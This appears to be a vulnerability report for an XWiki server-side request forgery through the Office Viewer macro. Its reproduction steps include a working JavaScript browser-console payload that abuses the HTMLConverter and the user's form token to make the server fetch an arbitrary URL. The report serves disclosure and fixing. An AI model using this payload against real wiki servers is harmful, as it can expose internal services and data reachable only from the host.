Server side request forgery (SSRF) with the Office Viewer

Steps to reproduce:

1. Make sure the office server is running.
2. As guest (or any user with view right) go to the main page of the wiki.
3. Run

   (function (text) {
     const url = new URL(document.location);
     url.searchParams.append('sheet', 'CKEditor.HTMLConverter');
     url.searchParams.append('formToken', document.documentElement.dataset.xwikiFormToken);
     url.searchParams.append('toHTML', 'true');
     url.searchParams.append('text', text);
    document.location = url;
   })('{{office reference="url:https://example.com/index.html"/}}');
   

   in the browsers console.

Expected result:

An error is displayed.

Actual result:

The content of https://example.com/index.html is displayed without styling. This demonstrates server side request forgery that can be used to expose data from internal services that are only accessible from the host. There seem to be limits what contents are displayed, in particular the URL seems to need an ending that resembles a file but apart from that it also seems to display different errors depending on if the URL returns an error or not.

This can be exploited in any wiki page, in comments or also via the HTMLConverter as demonstrated above.